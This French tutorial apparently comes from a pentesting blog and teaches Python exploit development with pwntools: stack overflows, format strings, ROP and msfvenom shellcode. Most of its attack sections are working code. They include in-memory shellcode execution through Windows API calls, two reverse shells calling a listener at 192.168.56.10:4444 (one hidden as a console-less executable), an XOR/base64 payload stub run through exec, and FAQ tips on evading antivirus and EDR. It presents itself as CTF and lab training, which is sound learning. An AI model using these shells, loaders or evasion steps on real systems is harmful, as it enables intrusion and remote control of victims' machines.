Lecture : 14 minutes · Niveau : avancé · Mise à jour : avril 2026
⚠️ Disclaimer : Tous les exemples s’exécutent uniquement sur des binaires de challenge CTF (PicoCTF, HackTheBox, OverTheWire), des labs personnels, ou dans le cadre d’une mission contractuelle avec autorisation écrite. Toute exploitation contre un système tiers sans autorisation est illégale.
Tutoriel pas-à-pas pour écrire des exploits en Python : framework pwntools, payload generation, shellcode, ROP basique, interaction binaire local et réseau, ctypes pour exécuter des syscalls Windows, reverse shells. Lab : challenges PicoCTF « Binary Exploitation », HackTheBox machines série « Pwn », binaires intentionnellement vulnérables.
Pourquoi Python pour l’exploit dev plutôt que C ? Le binaire à exploiter est généralement écrit en C. L’exploit lui-même est écrit en Python car : (1) cycle de développement court — un exploit traverse de nombreuses itérations, Python permet de modifier-tester en quelques secondes là où C demanderait recompilation, (2) pwntools fournit des helpers (cyclic, p64, ROP) qui prendraient des semaines à recoder en C, (3) interactions stdin/stdout, sockets, GDB attach sont triviales en Python, (4) les conventions CTF utilisent massivement Python. C reste pertinent pour embedded payloads (shellcode, droppers) mais l’orchestration de l’exploit lui-même est presque toujours en Python.
Curve d’apprentissage progressive. L’exploit dev a une réputation intimidante mais les bases (buffer overflow ret2win en CTF débutant) s’apprennent en quelques semaines. La progression vers heap exploitation, ROP avancé, kernel pwning prend années — mais cette voie n’est pas requise pour 95% des missions pentest réelles. Pour un pentester PME, maîtriser les bases pwntools + savoir exploiter une vulnérabilité documentée d’un CMS ou framework couvre la majorité des cas concrets.
Voir aussi → Python pour pentesting : guide complet, Python pentesting scripts réseau, Python pentesting automatisation OSINT recon.
Sommaire
- Setup pwntools
- Premier exploit : buffer overflow simple
- Interaction process et réseau
- Format string exploit
- ROP basique : ret2win
- Shellcode : msfvenom + intégration Python
- ctypes : appeler Windows API depuis Python
- Reverse shell Python (lab)
- Payload obfusqué (XOR + base64)
- Pied de table : automatiser exploit dev
- FAQ
1. Setup pwntools
python3 -m venv ~/venvs/pwn
source ~/venvs/pwn/bin/activate
pip install pwntools
# Outils complémentaires
sudo apt install -y gdb gef-bin nasm radare2
Vérifier installation :
from pwn import *
print(p32(0xdeadbeef).hex())
# efbeadde
2. Premier exploit : buffer overflow simple
Binaire vulnérable (CTF style) : vuln.c
#include <stdio.h>
#include <string.h>
void win() {
system("/bin/sh");
}
int main() {
char buf[64];
printf("Input: ");
gets(buf); // vulnérable
return 0;
}
gcc -fno-stack-protector -no-pie -z execstack -o vuln vuln.c
Trouver l’offset :
# offset.py
from pwn import *
# Pattern cyclique
pattern = cyclic(200)
print(pattern.decode())
Lancer en GDB, déclencher crash, lire RSP à la collision :
gdb ./vuln
(gdb) r < <(python3 offset.py)
# Crash avec RIP = 0x6161616761616166 ("faaa", "gaaa")
(gdb) p $rsp
# pwntools auto-trouve l'offset
print(cyclic_find(0x6161616761616166)) # 72
Exploit :
# exploit.py
from pwn import *
elf = ELF("./vuln")
p = process("./vuln")
win_addr = elf.symbols['win']
log.info(f"win() @ {hex(win_addr)}")
offset = 72
payload = b"A" * offset + p64(win_addr)
p.recvuntil(b"Input: ")
p.sendline(payload)
p.interactive()
Lancer :
python3 exploit.py
# [+] Starting local process: ...
# $ id
# uid=1000(user) ...
3. Interaction process et réseau
Process local :
from pwn import *
p = process("./binary")
p.sendline(b"input1")
data = p.recvline() # ligne suivante
data = p.recvuntil(b"prompt:") # jusqu'à pattern
data = p.recv(100) # 100 bytes max
p.interactive() # bascule en interactif
Connexion réseau (challenge remote) :
p = remote("ctf.exemple.com", 1337)
p.sendline(b"hello")
print(p.recvline())
Helpers utiles :
from pwn import *
# Convertisseurs little/big endian
p32(0xdeadbeef) # b'\xef\xbe\xad\xde'
p64(0x4141414141414141)
u32(b"AAAA") # 0x41414141
# Pattern de Bruijn
cyclic(100) # 'aaaabaaacaaa...'
cyclic_find(b"baaa") # 4
# Logging coloré
log.info("info")
log.warning("warning")
log.success("success!")
log.failure("failed")
4. Format string exploit
Binaire vulnérable :
printf(buf); // vulnérable, devrait être printf("%s", buf)
Lecture mémoire :
from pwn import *
p = process("./fmt")
# Lire le 6e argument (selon convention call)
p.sendline(b"%6$p")
leaked = p.recvline().strip()
print(f"Leaked: {leaked}")
Écriture arbitraire (overwrite GOT) :
from pwn import fmtstr_payload
# pwntools génère automatiquement le payload format string
# pour écrire une valeur à une adresse
elf = ELF("./fmt")
got_printf = elf.got['printf']
target_addr = elf.symbols['win']
payload = fmtstr_payload(offset=6, writes={got_printf: target_addr})
p.sendline(payload)
5. ROP basique : ret2win
Quand NX est activé (stack non exécutable), on chaîne des gadgets existants au lieu d’injecter du shellcode.
from pwn import *
elf = ELF("./vuln")
rop = ROP(elf)
# Trouver gadgets
rop.raw(rop.find_gadget(['pop rdi', 'ret']).address)
rop.raw(next(elf.search(b"/bin/sh\x00")))
rop.raw(elf.plt['system'])
print(rop.dump())
payload = b"A" * 72 + rop.chain()
p = process("./vuln")
p.sendline(payload)
p.interactive()
Recherche de gadgets manuelle :
ROPgadget --binary ./vuln | grep "pop rdi"
6. Shellcode : msfvenom + intégration Python
Génération avec msfvenom :
msfvenom -p linux/x64/exec CMD="/bin/sh" -f python -o shellcode.py
shellcode.py contient :
buf = b""
buf += b"\x6a\x3b\x58\x99\x52\x48\xbf..."
Intégration dans exploit :
from pwn import *
exec(open("shellcode.py").read()) # définit `buf`
p = process("./vuln_jitable")
# Empiler addresse + shellcode si NX désactivé
addr_buf = 0x7ffff7ffe000 # adresse stack/heap exécutable
payload = b"A" * 72 + p64(addr_buf) + buf
p.sendline(payload)
p.interactive()
Shellcode « live » pwntools :
from pwn import *
context.arch = "amd64"
shellcode = asm(shellcraft.sh())
print(f"Shellcode: {len(shellcode)} bytes")
7. ctypes : appeler Windows API depuis Python
ctypes permet d’appeler n’importe quelle DLL Windows depuis Python.
# windows_api.py
import ctypes
from ctypes import wintypes
# Appeler MessageBox (kernel32)
ctypes.windll.user32.MessageBoxW(0, "Hello", "Test", 0)
# Lister les processus (snapshot)
TH32CS_SNAPPROCESS = 0x00000002
class PROCESSENTRY32W(ctypes.Structure):
_fields_ = [("dwSize", wintypes.DWORD),
("cntUsage", wintypes.DWORD),
("th32ProcessID", wintypes.DWORD),
("th32DefaultHeapID", ctypes.c_void_p),
("th32ModuleID", wintypes.DWORD),
("cntThreads", wintypes.DWORD),
("th32ParentProcessID", wintypes.DWORD),
("pcPriClassBase", ctypes.c_long),
("dwFlags", wintypes.DWORD),
("szExeFile", ctypes.c_wchar * 260)]
snap = ctypes.windll.kernel32.CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)
entry = PROCESSENTRY32W()
entry.dwSize = ctypes.sizeof(PROCESSENTRY32W)
if ctypes.windll.kernel32.Process32FirstW(snap, ctypes.byref(entry)):
while True:
print(f"{entry.th32ProcessID:>6} {entry.szExeFile}")
if not ctypes.windll.kernel32.Process32NextW(snap, ctypes.byref(entry)):
break
ctypes.windll.kernel32.CloseHandle(snap)
Exécution shellcode in-memory (lab) :
import ctypes
shellcode = bytearray(b"\xfc\x48\x83...") # shellcode
# VirtualAlloc
ptr = ctypes.windll.kernel32.VirtualAlloc(
0, len(shellcode), 0x1000 | 0x2000, 0x40) # MEM_COMMIT|RESERVE, RWX
# Copier shellcode
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ptr, buf, len(shellcode))
# Créer thread
ht = ctypes.windll.kernel32.CreateThread(0, 0, ptr, 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(ht, -1)
⚠️ Lab uniquement. Cette approche est régulièrement signalée par EDR — voir red teaming évasion AV/EDR pour les techniques d’évasion.
8. Reverse shell Python (lab)
Côté attaquant :
nc -lvnp 4444
Reverse shell Python one-liner :
import socket, subprocess, os
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.56.10", 4444))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
subprocess.call(["/bin/sh", "-i"])
Version « stealthier » avec masquage de fenêtre console (Windows) :
import socket, subprocess
import platform
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.56.10", 4444))
while True:
cmd = s.recv(1024).decode().strip()
if cmd in ("exit", "quit"):
break
if cmd.startswith("cd "):
try:
os.chdir(cmd[3:])
s.send(b"OK\n")
except Exception as e:
s.send(f"ERR: {e}\n".encode())
continue
out = subprocess.run(cmd, shell=True, capture_output=True)
s.send(out.stdout + out.stderr)
s.close()
Conversion en .exe Windows : pip install pyinstaller && pyinstaller --onefile --noconsole shell.py. ⚠️ Détecté par AV — pour évasion sérieuse voir Red Team cluster.
9. Payload obfusqué (XOR + base64)
# obfuscate.py
import base64
PAYLOAD = b"""import os; os.system('whoami')"""
KEY = b"clef_secrete"
def xor(data, key):
return bytes(b ^ key[i % len(key)] for i, b in enumerate(data))
encoded = base64.b64encode(xor(PAYLOAD, KEY)).decode()
print(f"ENCODED = '{encoded}'")
Stub déchiffreur (le seul code « lisible ») :
# stub.py
import base64
ENCODED = "..." # généré par obfuscate.py
KEY = b"clef_secrete"
def xor(data, key):
return bytes(b ^ key[i % len(key)] for i, b in enumerate(data))
decrypted = xor(base64.b64decode(ENCODED), KEY)
exec(decrypted)
Pour AV bypass plus sérieux : combinez avec techniques C/C# (voir red teaming évasion). Python pur reste détecté par les EDR modernes.
Le piège de l’obfuscation excessive. Beaucoup de débutants empilent les couches d’obfuscation pensant rendre leur payload plus furtif. En réalité, c’est souvent le pattern d’obfuscation lui-même qui devient une signature détectable (chaîne XOR + base64 + exec dynamique = comportement très signalisé). Les EDR modernes regardent le comportement runtime plus que le contenu statique : un binaire propre qui ouvre une socket, exécute des commandes shell, et fait du DNS exfil sera détecté quel que soit son obfuscation source. La vraie évasion 2026 passe par modification du comportement (behavior chaining légitime, sleep masking, low-and-slow) plus que par obfuscation de strings.
10. Pied de table : automatiser exploit dev
Pour un binaire CTF, automatiser le cycle « modif → test → debug » :
# exploit_template.py
from pwn import *
context.arch = "amd64"
context.log_level = "debug" # verbeux
elf = ELF("./challenge")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
LOCAL = True
def conn():
if LOCAL:
return process("./challenge")
return remote("ctf.exemple.com", 1337)
def exploit():
p = conn()
# ... payload ...
p.sendline(payload)
p.interactive()
if __name__ == "__main__":
exploit()
Bascule local/remote en 1 flag. Tester local jusqu’à ce que ça marche, puis LOCAL = False pour le serveur du CTF.
Workflow disciplinaire d’exploit dev. Une fois le template en place, suivre méthodiquement : 1 reproduire le crash en local avec input minimal, 2 trouver l’offset précis avec cyclic, 3 vérifier les protections actives (NX, ASLR, canary, PIE) avec checksec, 4 choisir la stratégie selon protections (shellcode si NX off, ROP si NX on, leak puis exploit si ASLR on, etc.), 5 construire le payload incrémentalement et tester chaque étape, 6 finaliser avec interactif, 7 basculer remote. Cette discipline évite les heures perdues à tâtonner.
Helpers utiles dans pwntools :
– gdb.attach(p, "b *win") : attacher GDB en debug
– pause() : breakpoint script avant action critique
– cyclic_find(crashing_value) : trouver offset auto
FAQ
Pourquoi pwntools plutôt que socket pur ?
pwntools encapsule des dizaines de helpers (cyclic patterns, format string payloads, ROP chains, GDB attach, parsing ELF/PE) qui prennent des heures à coder à la main. Pour CTF / exploit dev sérieux : indispensable.
Comment apprendre pwntools efficacement ?
Suivre les tutoriels officiels (docs.pwntools.com/en/stable/intro.html), résoudre les défis PicoCTF Binary Exploitation dans l’ordre, lire les write-ups CTF (CTFtime, archive HTB) qui utilisent pwntools.
Mon shellcode ne fonctionne pas — pourquoi ?
Causes courantes : NX activé (stack non exécutable, basculer ROP), badchars (\x00, \n dans le shellcode = problème selon contexte), mauvais offset stack/heap, ASLR (lib c randomisée), canary (stack protection).
Comment exploiter avec ASLR activé ?
Leak d’adresse libc via format string ou autre vuln, calcul des offsets relatifs, ROP chain construit avec adresses absolues. Outil : LIBC_DATABASE (libc-database) pour identifier la version exacte de libc d’après quelques bytes leakés.
ctypes vs cffi pour appeler du code natif ?
ctypes : stdlib, pas d’install. Plus verbose, structures à déclarer manuellement. cffi : doit être pip install, plus moderne, peut parser des headers C. Pour exploit dev rapide : ctypes suffit.
Reverse shell Python détecté par AV — comment évader ?
Python pur reste détecté car comportement net.connect+exec=signature. Approche évasive : pyinstaller --key avec stripping, packer custom, ou bascule vers C/C# avec techniques détaillées dans le cluster Red Team. Voir red teaming évasion AV/EDR.
Comment debug un exploit qui ne fonctionne qu’en local ?
Cause habituelle : différence d’environnement entre local et remote (libc version, kernel, randomisation). Solutions : utiliser même version libc (Docker avec image distribuée par le CTF), test avec LIBC_DATABASE, vérifier que ASLR est activé/désactivé pareil.
Comment progresser au-delà de pwntools basique ?
Spécialisations : heap exploitation (House of *, libc malloc internals), kernel exploitation (Linux LPE, Windows kernel), JIT exploitation (browsers V8/SpiderMonkey). Ressources : Cours pwn.college, liveoverflow YouTube, écrire des CVE walkthroughs.
Articles liés (cluster Python pentesting)
- 👉 Python pour pentesting : guide complet
- 👉 Python pentesting scripts réseau : tutoriel scapy
- 👉 Python pentesting automatisation OSINT recon
Voir aussi : Red teaming évasion AV/EDR, Outils essentiels du pentesting, Pentesting d’applications web.
Article mis à jour le 25 avril 2026. Pour signaler une erreur ou suggérer une amélioration, écrivez-nous.